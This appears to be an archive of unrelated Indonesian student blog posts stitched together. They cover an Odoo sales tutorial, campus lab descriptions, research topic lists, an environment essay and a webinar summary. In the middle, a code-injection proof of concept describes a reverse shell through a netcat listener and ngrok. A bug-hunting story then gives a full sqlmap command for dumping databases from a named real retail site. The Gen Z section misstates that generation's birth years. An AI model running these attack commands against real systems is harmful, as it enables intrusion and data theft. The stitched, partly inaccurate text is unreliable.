Membuka dan Membuat akun Website Odoo di ODOO.COM dan membuat akun untuk membuat repo databases kita.
Odoo memiliki banyak modul, namun untuk membuat modul sales kita hanya butuh modul CRM, Invoicing, dan Sales. Apabila modul yang dibutuhkan belum ada maka kita install pada menu ‘Apps’
Kita harus membuat nama dan deskripsi mengenai perusahaan kita terlebih dahulu
Pertama kita harus membuat kontak pelanggan dengan klik menu ‘Contacts’
Klik ‘CREATE’ untuk menambah kontak pelanggan
Memasukkan nama pelanggan, dan data lain dari pelanggan, lalu klik ‘ADD’ untuk meyimpan
Disini kita diminta untuk mengisi kontaknya lagi lalu klik ‘SAVE & CLOSE’
Mengembalikan ke menu awal dengan klik ikon kotak-kotak pada bagian kiri atas
Selanjutnya membuat produknya dengan klik menu ‘Sales’
Pada bagian atas terdapat beberapa menu, kita pilih menu ‘Products’
Klik ‘CREATE’
Memasukkan nama produk, harga bebas, dan juga dapat menambah data sendiri. Menyimpan data dengan klik ‘SAVE’ pada bagian atas
Berikutnya, melakukkan order karena sudah terdapat pelanggan dan juga contoh produk dengan klik menu ‘Orders’, lalu klik ‘CREATE’
Pada form, kita pilih customer (langsung ambil data dari kontak pelanggan) dan menambahkan produk yang dibeli.
Akan muncul quotation atau bukti pemesanan.
Mencetak invoice dengan klik ‘CREATE INVOICE’ lalu pilih ‘deduct down payments’ dan klik ‘CREATE AND VIEW INVOICES’, seperti inilah invoice yang sudah dibuat
Mengirim pesan pada pelanggan misal terdapat batas waktu pembayaran dengan klik ‘SEND & PRINT’. Setelah mengisi email dan nomor telepon klik ‘SAVE’
Format pesan akan otomatis muncul dengan nomor invoice, tahun pemesanan, dan jumlah pembayaran yang harus dibayar, klik ‘SEND & PRINT’ untuk mengirim pesan dan mencetak invoice barang yang belum dibayar
Kita bisa mengedit tampilan Invoices disini.
Kembali pada ERP, untuk mencetak invoice yang sudah dibayar maka klik menu ‘REGISTER PAYMENT’, terdapat jumlah biaya, memilih metode pembayaran, dan memilih tanggal pembayaran, lalu klik ‘CREATE PAYMENT’
Pembayaran sudah dilakukan.
Mengirim pesan pada pelanggan bahwa pembayaran sudah dilakukan dan mencetak invoice barang yang sudah dibayar lunas dengan klik ‘SEND & PRINT’
Bukti transaksi dapat dilihat di menu ‘Orders’, dengan nomor transaksi, tanggal, nama customer, dan status invoicenya.
Apa Itu Code Injection (Kode Injeksi) dan Apa Dampaknya?
Dikutip dari https://www.owasp.org/index.php/Code_Injection, Kode Injeksi adalah istilah umum untuk jenis serangan yang terdiri dari kode yang disuntikan yang kemudian ditafsirkan / dieksekusi oleh aplikasi. Serangan ini biasanya dimungkinkan karena kurangnya validasi data input / output yang tepat, misalnya:
Jarakter yang diizinkan (kelas regular expressions standar atau khusus) format data
Jumlah data yang diharapkan
Jika berhasil meng-eksploitasi serangan ini, dampaknya dapat mencakup bocornya data, hilangnya data atau informasi yang telah dicuri oleh penyerang
POC (Proof Of Concept) :
Saya mencoba menjalankan perintah shell dengan modul os, ternyata code tereksekusi dengan lancar
import osos.system('uname -a')
lalu saya mencoba me-reverse shell via command line, sebelumnya saya menggunakan netcat untuk listener “nc -lvp 6969” Karena ip address saya bukan public ip maka saya akan forward ip address saya dengan ngrok “ngrok tcp 6969” kemudian gunakan public address yang di assign ngrok sebagai ip dan port dipayload yang dieksekusi. Berikut kode yang saya gunakan
IKEA SQL-Injection – Hello, Here I will share my experience of hunting bugs on an e-commerce site in Indonesia.This experience started when I was browsing to see and find references to articles for a college assignment I was working on,I saw banners / advertisements from the IKEA.CO.ID website which often popped up immediately crossed my mind to try to do a pentest on the website IKEA. CO.ID.
5. I think the parameter price has sqli potential because I tried to
enter in your SQL injection payload into price params i get error
information on page.
6. I tried the test with the sqlmap tools and I tried dump for get DB_NAME with payload ' ./sqlmap.py -u "https://www.ikea.co.id/in/products/template_reload?&q=meja&price=1"
--random-agent -p"price" --risk=3 --level=3 --tamper=randomcase
--threads=2 --text-only --no-cast --batch --dbms=postgresql --dbs '
Menjaga lingkungan merupakan sebuah langkah awal yang berfungsi untuk
mengurangi kerusakan bumi dan menjaga ekosistem yang ada. Selain itu
menjaga lingkungan juga bisa menyelamatkan hewan-hewan dari kepunahan. Seiring
bertambahnya populasi manusia sering kali dibarengi dengan penggunaan
bahan yang kurang ramah terhadap lingkungan salah satunya penggunaan
bahan plastic. Bahan plastic susah untuk di urai oleh organisme dan
membutuhkan jutaan tahun untuk terurai dengan sempurna. Terlebih jika
harus membuang sampah di sungai dan laut, kurangnya kesadaran dan tidak
ada sanksi membuat sebagian orang dengan bebas membuang sampah
dilautan. Hal ini akan menyebabkan kondisi air menjadi tercemar dan
hewan yang dilaut akan mengalami keracunan dan mati. Jika tidak ada
tindakan tegas maka laut tidak lagi akan menjadi sumber yang bisa
dimanfaatkan karena kerusakan yang sudah parah. Ikan akan terus menjauh
karena sampah yang terus merusak.
Sistem penyaringan air pada Seabin sangat mirip dengan filter air di
tangki ikan peliharaan, tetapi didesain untuk membersihkan seluruh laut.
Seabin dapat diinstal pada setiap dermaga apung dan dirancang untuk
menyedot setiap sampah atau minyak yang mengambang di sekitar dermaga.
Konsep ini sederhana: Sebuah ember dihubungkan dengan pompa air,
kemudian ia menghisap sampah yang mengambang di laut ke dalam kantong
jala yang dapat dilepas
ITS (https://www.its.ac.id/si/fasilitas/laboratorium-2/) Laboratorium
di Departemen Sistem Informasi (DSI) dikelompokkan menjadi 2 bagian,
yaitu: laboratorium pembelajaran (atau praktikum) dan laboratorium
penelitian. DSI mempunyai 3 laboratorium pembelajaran yang disebut
studio, yaitu: studio pemrograman, studio aplikasi terapan, dan studio
sistem operasi. DSI juga memiliki 5 laboratorium penelitian, yaitu:
Infrastuktur dan Keamanan Teknologi Informasi, Manajemen Sistem
Informasi, Rekayasa Data & Intelegensi Bisnis, Akuisisi Data dan
Deseminasi Informasi dan Sistem Enterprise. UM (http://elektro.um.ac.id/laboratorium/laboratorium-sistem-informasi/)
Laboratorium Sistem Informasi merupakan salah satu
laboratorium yang berada di bawah naungan Jurusan Teknik Elektro
Fakultas Teknik Universitas Negeri Malang. Laboratorium dikhususkan pada
bidang pembuatan dan pengembangan basis data dan sistem informasi.
Laboratorium ini bertempat di gedung H5 lantai 2 ruang 212. Laboratorium
ini memiliki daya tampung 30 s.d 40 mahasiswa. Dengan ukuran ruang
cukup luas serta dilengkapi dengan AC dan sirkulasi udara membuat
mahasiswa menjadi nyaman untuk beraktifitas di laboratorium ini.
Fungsi utama laboratorium sistem informasi adalah untuk kegiatan
praktikum atas teori yang sudah didapat dalam perkuliahan teori. Untuk
menunjang fungsi dari laboratorium ini dan juga kegiatan pembelajaran
yang ada didalamnya, di laboratorium ini terdapat alat-alat pendukung
dalam melakukan kegiatan praktikum, seperti: Personal Computer (PC), LCD
Proyektor, dan Jaringan Internet yang memadai, White Board dan
peralatan lainnya yang berhubungan dengan jaringan komputer. Adapun
perangkat lunak yang digunakan untuk mendukung kegiatan praktikum pada
laboratorium sistem informasi ini antara lain: Oracle, MySQL,
PostgreSQL, Apache Web Server, PHP Engine, Visual Paradigm, Navicat,
SQLyog, MySQL Workbench, Power Designer, Netbeans, Java, Pencil, serta
Microsoft Visual Studio. Selain untuk kegiatan praktikum, laboratorium
ini juga digunakan untuk kegiatan pengerjaan skripsi/tugas akhir,
diskusi, simulasi, pelatihan, dan penelitian terkait.
IT Telkom Surabaya
Laboratorium
Berikut ini merupakan bidang penelititan yang tersedia di Departemen Sistem Informasi :
Data yang saat ini ada di sekitar kita heterogen, baik dari sisi
struktur (terstruktur dan tidak terstruktur), lokasi (terdistribusi atau
terpusat), dari berbagai sumber/resource (contoh: data dari website,
pesan teks/sms, dan lain-lain), serta volume (contoh: data masif atau
big data).
Paradigma Pengolahan
Seiring dengan perkembangan sumber dan volume data, berkembang pula
berbagai teknologi untuk mengolah data tersebut. Masing-masing dari
teknologi tersebut merupakan implementasi dari paradigma yang berbeda
mengenai data, dan diwujudkan dalam inovasi pada teknik-teknik
pra-proses dan pengolahan data.
Diseminasi Informasi
Proses dan metode pengolahan data menjadi informasi yang lebih bernilai
Track : Data Acquisition and Information Dissemination (DAID)
1. Database Management Systems 2. Open Data 3. Knowledge Management 4. Semantics Web and Linked Data 5. Big Data 6. Web Services 7. Social Media 8. Social Networks 9. Visualization Information 10. Social Information Systems 11. Social Informatics 12. Spatial Information Systems 13. Geographical Information Systems
RDIB memiliki tujuan untuk menjadi pusat penelitian terkait
pemanfaatan data yang mendukung analisis bisnis dan organisasi untuk
bisa ditransformasi menjadi informasi bermakna serta pengetahuan
sehingga berguna dalam pengambilan keputusan. Bidang-bidang keilmuan
yang dicakup meliputi : • Computerized Decision Support : Decision Support System, System Modelling and Analysis. •
Data Management: Database and Database Management System (DBMS);
Extraction, Transformation, and Load (ETL) System; Data Warehouse (DW),
real-time DW, and Data Mart. • Business Analytic: Optimizations; Data/Web/Text Mining; Web Analytic; Peramalan • Knowledge Management: Knowledge Management System, Expert Locating System, Ontology. •
Intelligent Systems: Expert System, Artificial Neural Network, Fuzzy
Logic, Genetic Algorithm, Intelligent Agent, Automated Decision System.
Track : Data Engineering and Business Intelligence (DEBI) 1. Business Intelligence 2. Data Mining 3. Intelligent Systems 4. Artificial Intelligence 5. Autonomous Agents 6. Intelligent Agents 7. Multi-Agent Systems 8. Expert Systems 9. Pattern Recognition 10. Machine Learning 11. Soft Computing 12. Optimization 13. Forecasting 14. Meta-Heuristics 15. Computational Intelligence
Rancangan penelitian berisi isu-isu strategis yang menjadi fokus
penelitian lab MSI yang merupakan manifestasi dari roadmap penelitian.
Isu strategis dari penelitian lab MSI pada tahun 2016 – 2025 ini dibagi
menjadi:
TI sebagai tools Strategi
Penerapan E-Government (egov)
Manajemen & Perubahan Proyek TI
Pengembangan Sistem Informasi
Kedewasaan Proses TI
Pengembangan Layanan TI
Penjaminan Mutu Proses TI
Pengelolaan Risiko TI
IT Productivity Paradox, IT Business Value
Track : Information Systems Management (ISM) 1. Software Engineering 2. Software Design Pattern 3. System Analysis and Design 4. Research Methods of Information Systems 5. Green Technology Strategies 6. Strategic Information Systems 7. IT Governance and Audits 8. E-Government 9. IT Service Management 10. IT Project Management 11. Information System Development 12. Software Quality Assurance 13. Adoption and Diffusion of Information Technology 14. Health Information Systems and Technology 15. Accounting Information Systems 16. Human Behavior in Information System 17. Social Technical Issues and Social Inclusion 18. Domestication of Information Technology 19. ICTs and Sustainable Development 20. Information System in developing countries
Isu strategis yang menjadi basis dan fokus penelitian laboratorium
Infrastruktur Sistem dan Teknologi Informasi Jurusan Sistem Informasi,
Fakultas Teknologi Informasi (FTIF) tahun 2015-2020 adalah terkait
penelitian-penelitian dengan topik sebagai berikut:
Infrastruktur Teknologi Informasi (Fokus pada Middle Layer ke Bawah dari OSI Layer)
Energi
Military Defense
Transportasi dan Logistik
Efisiensi melalui Monitoring Konsumsi Pemakaian Listrik
Peningkatan Pemanfaatan Potensi Laut melalui Pengembangan Teknologi pada Bidang Kemaritiman
Desain Arsitektur Software : Resilent Information Systems
Track : IT Infrastructure and Security (ITIS) 1. Computer Security 2. Information Security and Privacy 3. Information Forensics 4. Network Security 5. Cryptography 6. Cloud Computing and Virtualization 7. Emerging Technologies 8. Computer Vision and Image 9. Service Oriented Architecture (SOA) 10. Ethics in Information Systems 11. Service Computing 12. Computer Graphics 13. Image Processing 14. Speech Recognition 15. Human Computer Interaction 16. Augmented Reality 17. Ubiquitous Computing 18. Sensor Networks 19. Medical Image Analysis 20. Internet Technology 21. Computational Biology and Bio-Informatics 22. Game Development 23. Mobile and Pervasive Computing 24. Affective Computing 25. Real-time Systems and Embedded Systems 26. Parallel and Distributed Systems 27. Computing on Graphics Processing Units (GPGPU)
Sistem Enterprise: Pengelolaan Hubungan Pelanggan, Manajemen Rantai Pasok, Perencanaan Sumber Daya Perusahaan
Manajemen Proses Bisnis: Process Mining, Alur Kerja
Analisis dan Pemodelan Proses Bisnis: Analisis dan Pemodelan Sistem, Kecedasan Bisnis, Bisnis Analitis, Sistem Informasi Geografis
Data and Knowledge Management: Data Warehousing, OLAP, Database
Track : Enterprise Systems (ES) 1. Enterprise Resource Planning 2. Business Process Management 3. Customer Relationship Management 4. Supply Chain Management and Logistics 5. System Dynamics 6. E-business and e-Commerce 7. Marketing Analytics 8. Marketplace Analytics 9. Business Analytics and Knowledge Discovery 10. Production Management 11. Task Analysis 12. Process Mining 13. Discrete Event Simulation 14. Service Science and Innovation 15. Innovation in the Digital Economy
Kelompok keahlian diprodi/jurusan Sistem Informasi
Teknologi Informasi : 1. Arsitektur Komputer 2. Algoritma dan Struktur Data 3. Bahasa Pemrograman 4. Sistem Operasi 5. Telekomunikasi dan Jaringan Komputer 6. Manajemen Data dan Informasi 7. Kecerdasan Buatan 8. Keamanan Informasi 9. Interaksi Manusia dan Komputer 10. Sistem dan Teknologi Web. 11. Infrastruktur TI.
Sistem Informasi dan Konsep Organisasi :
1. Analisis Bisnis 2. Desain Sistem Informasi 3. Rekayasa Sistem Informasi 4. Arsitektur Enterprise 5. Perencanaan Aplikasi 6. Manajemen Resiko 7. Manajemen Proyek 8. Perawatan dan Operasi Sistem 9. Strategi Uji dan Implementasi Sistem Informasi 10. Teori Umum Organisasi 11. Manajemen Sistem Informasi 12. Teori Keputusan 13. Perilaku Organisasi 14. Manajemen Perubahan 15. Etika dan Legalitas Sistem Informasi 16. Profesionalisme 17. Kemampuan Antar Personal.
Bidang Peneliian :
1. Information System Engineering 2. Information Technology Governance 3. Information Technology Strategic Planning 4. Information System Management 5. Risk Management 6. Expert System 7. Decision Support System 8. Data Mining 9. Data Warehouse 10. Business Intelligence 11. e-Business / e-Commerce 12. Knowledge Management 13. Social Informatics 14. Information Security 15. Web System and Technology 16. Enterprise Architecture 17. Mobile Application
Seiring dengan berkembangnya sistem informasi saat ini, banyak sistem
informasi pada organisasi yang ingin mencapai tahap sistem informasi
secara cepat, relevan dan akurat. Pesatnya pertumbuhan ilmu pengetahuan
teknologi khususnya di bidang komputer disetiap aspek kehidupan dan
penggunaan teknologi komputer dan teknologi komunikasi yang menghasilkan
sebuah penggabungan sistem informasi yang saat ini mudah untuk di akses
tanpa adanya batasan waktu dan jarak dengan menggunakan jaringan
internet. Model penjualan atau bisnis ikut terpengaruh dari perkembangan
ilmu pengetahuan teknologi tersebut, terlebihnya dengan pesatnya
pertumbuhan pengguna internet di berbagai belahaan dunia khususnya
negara berkembang. Salah satu bisnis yang menjadi trend terbaru di
masyarakat ini adalah dalam bidang belanja online.
Sejauh ini banyak industri lem khususnya lem yang masih melakukan
promosi dan penjualan melalui mulut ke mulut ataupun bentuk brosur,
sehingga jangkauan promosi dan penjualan masih terbatas dan belum bisa
meluas ke beberapa daerah. Kendala lain yang di alami oleh penjual lem
yaitu persaingan yang ketat, hal itu membuat pengolah industri lem harus
mempunyai strategi pemasaran yang berbeda dari pesaingnya. Untuk itu
dibutuhkan sebuah aplikasi berbasis web berupa website yang mampu
memberikan informasi mengenai produk kepada pelanggan dengan cepat
melalui internet.
Berdasarkan uraian latar belakang yang telah dijelaskan diatas,
penulis mengambil judul mengenai “Sistem Informasi Pemasaran Berbasis
Website Pada PT. Trimitra Sebagai Sarana Penjualan Produk Secara Online”
STUDI KASUS
PT. TRIMITRA SEBAGAI SARANA PENJUALAN PRODUK SECARA ONLINE
METODE PENYELESAIAN
Metode yang digunakan adalah:
Metode Pengumpulan Data (Wawancara dan Observasi)
Metode Analisa Sistem
Metode Analisa Perancangan Program
SOLUSI YANG DIHASILKAN
Proses penjualan masih manual belum terkomputerisasi dan untuk
memperbarui data di perusahaan tersebut dilakukan setiap hari dengan
menyetor salinan surat bukti pembelian dari penjualan tersebut. Proses
penjualan di New Java Comp ketika Customer memilih barang yang tersedia
di website, sehingga customer dapat memilih dan melihat barang secara
lengkap yang tersedia di perusahaan. Untuk pencatatan penjualan
dilakukan menggunakan bukti faktur pembelian customer yang tersimpan di
database ketika customer melakukan transaksi .
Resume Webinar Konsep Sistem Informasi “Saya Salah Jurusan?“
Konsep Salah Jurusan
Merujuk pada
istilah “Mahasiswa Salah Jurusan”, pada dasarnya apapun jurusan yang
telah dipilih oleh setiap individu untuk melanjutkan studi jenjang
perguruan tinggi merupakan suatu hal yang sama. Hal ini tetap bergantung
pada bagaimana individu tersebut mengolah perspektif dari berbagai bola
pandang.
Generation Z
Generasi Z
merupakan generasi setelah Generasi Y yang didefinisikan sebagai
orang-orang yang lahir dalam rentang tahun kelahiran 2010 sampai kini.
Karakteristik daripada Gen Z antara lain:
Social
Multi-Taskers
Entrepreneurs
Educated
Philanthropists
Digital Natives
Interactive
Tech-Savvy
Less Focused
Cautious
Gen Z merupakan self-starters. Self starter adalah seseorang yang mampu mengambil inisiatif dan dapat bekerja tanpa pengawasan dari atasan.
Entering Society 5.0
Society 5.0 merupakan
konsep yang dirumuskan mantan Perdana Menteri Jepang Shinzo Abe dan
dikemukakan di ajang CeBIT, Hannover di kota Hannover, Jerman pada tahun
2017. Abe menyebut bahwa konsep ini dapat membantu Jepang menangani
berbagai permasalahan, yang kemudian konsep ini diresmikan pada Januari
2019.
Masyarakat
5.0 adalah suatu konsep masyarakat yang berpusat pada manusia dan
berbasis teknologi yang dikembangkan oleh Jepang. Konsep ini lahir
sebagai pengembangan dari revolusi industri 4.0 yang dinilai berpotensi
mendegradasi peran manusia.
Melalui Society 5.0, kecerdasan buatan (Artificial Intelligence) akan mentransformasi big data yang dikumpulkan melalui internet pada segala bidang kehidupan (the Internet of Things)
menjadi suatu kearifan baru, yang akan didedikasikan untuk meningkatkan
kemampuan manusia membuka peluang-peluang bagi kemanusiaan.
Transformasi ini akan membantu manusia untuk menjalani kehidupan yang lebih bermakna.
Sejarah Perkembangan Internet
Sejarah perkembangan internet di dunia:
1958 ARPA (The Advanced Research Projects Agency) dibentuk.
1961 Munculnya prinsip transfer data di dalam suatu jaringan komputer.
1965 Pertama kalinya dua buah komputer yang terpisah dalam jarak yang jauh dapat saling terhubung.
1969 ARPA meluncurkan jaringan komputer ARPANET.
1971 Pertama kali ditemukannya sistem surat menyurat secara elektronik.
1974 Pertama kalinya digunakan istilah internet atau internetworking.
1976 Ethernet sebagai jaringan LAN pertama diciptakan.
1982 Protokol internet atau TCP/IP pertama kali dibuat.
1991 World Wide Web pertama kali dikenalkan pada publik oleh CERN.
1993 Pertama kalinya di dalam internet disiarkan sebuah broadcast radio.
1994 Toko online pertama dibuat muncul bank virtual dan banner periklanan di internet.
1999 Jaringan transfer file (terutama untuk keperluan distribusi file MP3) secara peer-to-peer dikenalkan.
2010 Kru dari Stasiun Luar Angkasa Internasional (ISS) menerima akses langsung terhadap internet.
2011 Tercatat lebih dari 357 juta website di dalam internet.
Information Technology dan Information System
Information Technology terdiri atas:
Hardware
Software
Databases
Networks
Other related components
Information Tehcnology digunakan untuk membangun Information Systems:
Payroll System
Inventory System
Marketing System
Customer Service System
Health System
Information Systems
Pengertian Sistem Informasi
Sistem dapat
diartikan sebagai suatu kesatuan dari sesuatu yang sistematis dan
ter-struktur serta menjalankan fungsi untuk mencapai suatu tujuan
tertentu.
Informasi dapat diartikan sejumlah data yang telah diolah dan memiliki kegunaan untuk suatu tujuan tertentu.
Secara umum,
sistem informasi merupakan suatu sistem yang di dalamnya memuat tentang
berbagai informasi yang terkait dengan operasional suatu organisasi yang
berguna untuk mengambil keputusan dalam mencapai tujuan organisasi
Tujuan Sistem Informasi
Untuk
menyediakan informasi-informasi tertentu dalam pengambilan keputusan.
Keberadaan data dalam sistem informasi akan sangat membantu dalam
menyikapi suatu permasalahan.
Komponen Sistem Informasi
Komponen Sistem Informasi antara lain:
Orang
Perangkat Keras
Perangkat Lunak
Prosedur
Jaringan Komputer dan Komunikasi Data
Basis Data
Mengapa bisa terjadi Salah Jurusan?
Jurusan tersebut tidak sesuai dengan passion.
Bukan karena keinginan pribadi, melainkan berdasarkan faktor tertentu.
Memilih jurusan dengan keinginan tetapi tidak yakin akan prospek kedepannya.
Masih belum mengetahui dimana letak minat dan bakat individu.
Tips Mengatasi Keraguan dalam Memilih Jurusan :
Jangan gegabah untuk mengambil langkah.
Temukan hal positif di lingkungan sekitar.
Meningkatkan kemampuan beradaptasi.
Bersyukur karena banyak individu yang ingin menempati posisi tersebut.
